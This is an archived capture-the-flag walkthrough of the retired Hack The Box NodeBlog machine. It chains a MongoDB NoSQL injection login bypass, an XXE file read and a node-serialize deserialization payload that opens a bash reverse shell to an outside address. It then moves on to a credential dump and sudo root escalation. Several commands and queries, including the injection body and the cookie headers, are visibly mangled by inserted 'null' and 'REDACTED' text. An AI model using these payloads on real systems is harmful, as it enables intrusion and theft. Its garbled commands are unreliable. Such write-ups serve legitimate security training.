Hack The Box
Hack The Box: NodeBlog Walkthrough
An archived walkthrough of the retired Hack The Box NodeBlog machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Difficulty: Easy | OS: Linux | IP: 10.129.96.160
The Hacker Mindset
Before touching a single tool, understand the goal: enumerate first, exploit second.
Every step builds on the last. You're not guessing — you're following the evidence.
The machine will tell you how to break it, if you ask the right questions.
Phase 1: Reconnaissance
Step 1 — Full Port Scan
nmap -p- --min-rate 10000 10.129.96.160
Why -p-?
By default nmap only scans the top 1000 ports. Many CTF machines (and real targets) run services on non-standard ports. -p- scans all 65535 ports so nothing is missed.
Why --min-rate 10000?
Speed. On HTB the machine is yours alone, so aggressive scanning is fine. This sends at least 10,000 packets per second instead of nmap's slow default.
Result:
22/tcp open ssh
5000/tcp open upnp
What this tells us:
Two ports. SSH on 22 is standard — usually only useful once we have credentials. Port 5000 is interesting — "upnp" is nmap's best guess but it could be anything. We investigate.
Step 2 — Service Version Scan
nmap -p 22,5000 -sCV 10.129.96.160
Why -sCV?
-sCruns default scripts (fingerprints the service, grabs banners, checks common vulnerabilities)-sVprobes for the exact version
Result:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
5000/tcp open http Node.js (Express middleware)
title: Blog
What this tells us:
- SSH version leaks the OS: Ubuntu 20.04 Focal. Filed away for later.
- Port 5000 is a Node.js Express web app called "Blog". This is our primary attack surface.
- Express is a minimal Node.js web framework — common in CTFs and known for certain vulnerability patterns.
Hacker mindset: Technology fingerprinting tells you what weapons to load. Node.js + Express has a known ecosystem of vulnerabilities. You're already thinking: NoSQL injection (if MongoDB is behind it), deserialization (node-serialize), prototype pollution.
Phase 2: Web Application Enumeration
Step 3 — Browse the Site
Visiting http://10.129.96.160:5000 shows a blog. There's a Login button.
Why enumerate the login first?
Authentication is the gatekeeper. Bypassing it gives you more functionality to attack. It's always step one with web apps.
What we see at /login:
A standard username/password form. We try obvious credentials: admin/admin, admin/password — they fail, but the error message is important: "Invalid Password" (not "Invalid username"). This tells us admin is a valid username.
Hacker mindset: Error messages are information leaks. "Invalid Password" vs "Invalid Username/Password" confirms account existence.
Phase 3: NoSQL Injection — Authentication Bypass
Step 4 — Identify the Backend
Express + Node.js apps very commonly use MongoDB as their database (the "M" in the MEAN stack). MongoDB queries are JSON-based and vulnerable to a class of attack called NoSQL injection.
Step 5 — Understanding the Attack
Normal login sends this POST body:
user=admin&password=REDACTED
The server likely runs a MongoDB query like:
db.users.findOne({ user: "admin", password: null })
If MongoDB receives a JSON object instead of a string for the password field, we can pass operators like $ne (not equal). The query becomes:
db.users.findOne({ user: "admin", password: null $ne: "wrongpassword" } })
This finds any user named admin whose password is REDACTED "wrongpassword" — which is every valid user. Auth bypassed.
But there's a catch: The browser sends form data as application/x-www-form-urlencoded. To pass JSON objects, we need Content-Type: application/json.
Step 6 — Execute the Bypass
curl -s -i -X POST http://10.129.96.160:5000/login \
-H 'Content-Type: application/json' \
-d '{"user": "admin", "password": null "wrongpassword"}}'
Breaking it down:
-i— show response headers (we need to see the cookie)-X POST— force a POST request-H 'Content-Type: application/json'— tell the server we're sending JSON-d '...'— the JSON body with our$neinjection
Result: The response contains:
Set-Cookie: null
URL-decoding that cookie gives us:
{"user":"admin","sign":"[redacted retired-lab hash or flag]"}
We're logged in as admin.
Phase 4: XXE — File Read
Step 7 — Explore the Authenticated App
Logged in, we see new features: "New Article", "Upload", "Edit", "Delete". The Upload button accepts files.
Hacker mindset: File upload = high value target. Always ask: what does the server do with the file? Parse it? Execute it? Store it?
Sending a random file returns:
Invalid XML Example: <post><title>...</title><description>...</description><markdown>...</markdown></post>
The server expects XML. XML parsers are notoriously dangerous.
Step 8 — Understanding XXE
XML External Entity (XXE) is a vulnerability where an XML parser processes attacker-controlled entity definitions. You can define an entity that references a local file, and the parser substitutes the file contents into the document.
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<post>
<markdown>&file;</markdown>
</post>
Here, &file; is replaced by the contents of /etc/passwd when the XML is parsed.
Step 9 — Read the Server Source Code
We know the app is Node.js, and common source file names are server.js, index.js, app.js. We target /opt/blog/server.js (a common deployment path on Linux).
cat > /tmp/xxe.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///opt/blog/server.js">
]>
<post>
<title>test</title>
<description>test</description>
<markdown>&file;</markdown>
</post>
EOF
curl -s -X POST http://10.129.96.160:5000/articles/xml \
-H "Cookie: null \
-F "file=@/tmp/xxe.xml"
Result: The markdown textarea in the response contains the full server.js source. Key findings:
const serialize = require('node-serialize') // ← DANGER
const cookie_secret = "UHC-SecretCookie" // ← leaked secret
function authenticated(c) {
c = serialize.unserialize(c) // ← called on raw cookie!
if (c.sign == ...) { return true }
}
Why is this critical?node-serialize.unserialize() is being called on the raw value of the auth cookie before any validation. This means whatever we put in that cookie gets deserialized. This is the vulnerability.
Phase 5: Deserialization RCE — Shell
Step 10 — Understanding node-serialize
The node-serialize library has a known vulnerability: if a serialized object contains a function marked with the special prefix _$$ND_FUNC$$_, and that function is immediately invoked (IIFE — Immediately Invoked Function Expression), it executes arbitrary code during deserialization.
Normal serialized object:
{"user": "admin"}
Malicious serialized object:
{"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('id');}()"}
The () at the end of the function makes it execute immediately when unserialized.
Step 11 — Craft the Reverse Shell Payload
A direct bash reverse shell has characters that break URL encoding. The safe approach is to base64-encode the shell command, then decode and execute it server-side.
The reverse shell command:
bash -i >& /dev/tcp/10.10.16.84/4444 0>&1
Base64 encoded:
[redacted encoded lab material]
The deserialization payload:
{
"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('echo BASE64HERE|base64 -d|bash', function(error,stdout,stderr){console.log(stdout)});}()"
}
This entire JSON object must be URL-encoded for the cookie (spaces, braces, quotes are all special characters in HTTP cookies).
Step 12 — Start the Listener
In a separate terminal:
nc -lnvp 4444
Why netcat?nc (netcat) listens on a port and prints anything that connects to it. When our reverse shell connects back, nc receives it and gives us an interactive terminal on the remote machine.
Step 13 — Send the Payload
B64=$(echo 'bash -i >& /dev/tcp/10.10.16.84/4444 0>&1' | base64 -w0)
PAYLOAD=$(python3 -c "
import urllib.parse, json
cmd = 'echo ${B64}|base64 -d|bash'
obj = {\"rce\": \"_\$\$ND_FUNC\$\$_function(){require('child_process').exec('\" + cmd + \"', function(error,stdout,stderr){console.log(stdout)});}()\"}
print(urllib.parse.quote(json.dumps(obj)))
")
curl -s http://10.129.96.160:5000/ -H "Cookie: null
What happens server-side:
- Express receives the request with our malicious
authcookie authenticated()is called with our cookie valueserialize.unserialize(cookie)executes — our IIFE fireschild_process.exec()runs: decode base64 → pipe to bash → reverse shell connects out
Result: Shell received:
connect to [10.10.16.84] from (UNKNOWN) [10.129.96.160] 39852
admin@nodeblog:/opt/blog$
We have code execution as admin.
Phase 6: User Flag
Step 14 — Upgrade the Shell (TTY)
The shell we received is a "dumb" shell — no tab completion, Ctrl+C kills it, passwords don't echo. We upgrade it.
script /dev/null -c bash
# Press Ctrl+Z
stty raw -echo; fg
# Type: reset
Why?
script /dev/null -c bashspawns bash under a pseudo-terminal (PTY)Ctrl+Zbackgrounds itstty raw -echosets our local terminal to raw mode (passes all keystrokes through)fgforegrounds the shell — now it's a proper interactive terminal
Step 15 — Fix the Home Directory
chmod +x /home/admin
cd /home/admin
cat user.txt
Why chmod +x /home/admin?
The directory /home/admin was deployed with permissions 644 (no execute bit). On Linux, the execute bit on a directory means "permission to enter it". Without it, even the owner can't cd into it or access files by path. Adding +x restores normal access.
This is a misconfiguration bug specific to this machine's deployment. Real-world lesson: directory permissions matter just as much as file permissions.
Flag: 61e24c[redacted]3b3b3a4c92
Phase 7: Privilege Escalation to Root
Step 16 — Enumerate Running Services
netstat -tnlp
Output shows 127.0.0.1:27017 — that's MongoDB, listening only on localhost. It's accessible from our shell.
Hacker mindset: Any internal service is worth probing. Databases often hold credentials. No authentication was required here.
Step 17 — Dump MongoDB Credentials
mongo blog --eval "db.users.find().forEach(printjson)"
Breaking it down:
mongo blog— connect to theblogdatabase--eval "..."— run a JavaScript expression non-interactivelydb.users.find().forEach(printjson)— dump all documents in theuserscollection, pretty-printed
Result:
{
"username": "admin",
"password": null
}
Plaintext password. Developers often store passwords in plain text in development databases and forget to hash them before deploying.
Step 18 — Check sudo Permissions
sudo -l
Enter IppsecSaysPleaseSubscribe when prompted.
Output:
User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL
Admin can run ANY command as ANY user. This is the highest possible sudo privilege — equivalent to being root already.
Why does su - fail but sudo su works?
su -switches to root using root's password (unknown to us)sudo surunssuas root (using admin's password, which we know)
Step 19 — Get Root
sudo su
Enter IppsecSaysPleaseSubscribe.
cat /root/root.txt
Flag: fc9b3e1[redacted]5dab9d86
Full Attack Chain Summary
[Port Scan]
→ port 5000: Node.js/Express Blog
[NoSQL Injection]
→ POST /login with JSON Content-Type
→ password: null "x"} bypasses MongoDB auth
→ auth cookie obtained
[XXE File Read]
→ Upload XML with external entity to /articles/xml
→ Read /opt/blog/server.js
→ Discover: node-serialize called on raw cookie, cookie_secret leaked
[node-serialize Deserialization RCE]
→ Craft auth cookie with _$$ND_FUNC$$_ IIFE payload
→ Base64-encoded reverse shell → bypass bad char issues
→ URL-encode full payload for cookie
→ Shell as admin
[User Flag]
→ chmod +x /home/admin (fix broken dir permissions)
→ cat user.txt
[MongoDB Cred Dump]
→ mongo blog → db.users.find()
→ plaintext password: null
[Privilege Escalation]
→ sudo -l → admin has (ALL) ALL
→ sudo su → root
→ cat /root/root.txt
Key Lessons
| Vulnerability | Root Cause | Lesson |
|---|---|---|
| NoSQL Injection | No input type validation on login | Always sanitize and type-check inputs before DB queries |
| XXE | XML parser with external entities enabled | Disable external entities in XML parsers |
| Deserialization RCE | unserialize() called on untrusted user input (cookie) |
Never deserialize data from untrusted sources |
| Plaintext DB Password | Dev password left in production MongoDB | Hash passwords at rest; audit DB contents before deploy |
| Overpowered sudo | (ALL) ALL sudo rule |
Follow principle of least privilege |
Pwned by: 10.10.16.84 | Machine IP: 10.129.96.160 | Date: 2026-06-10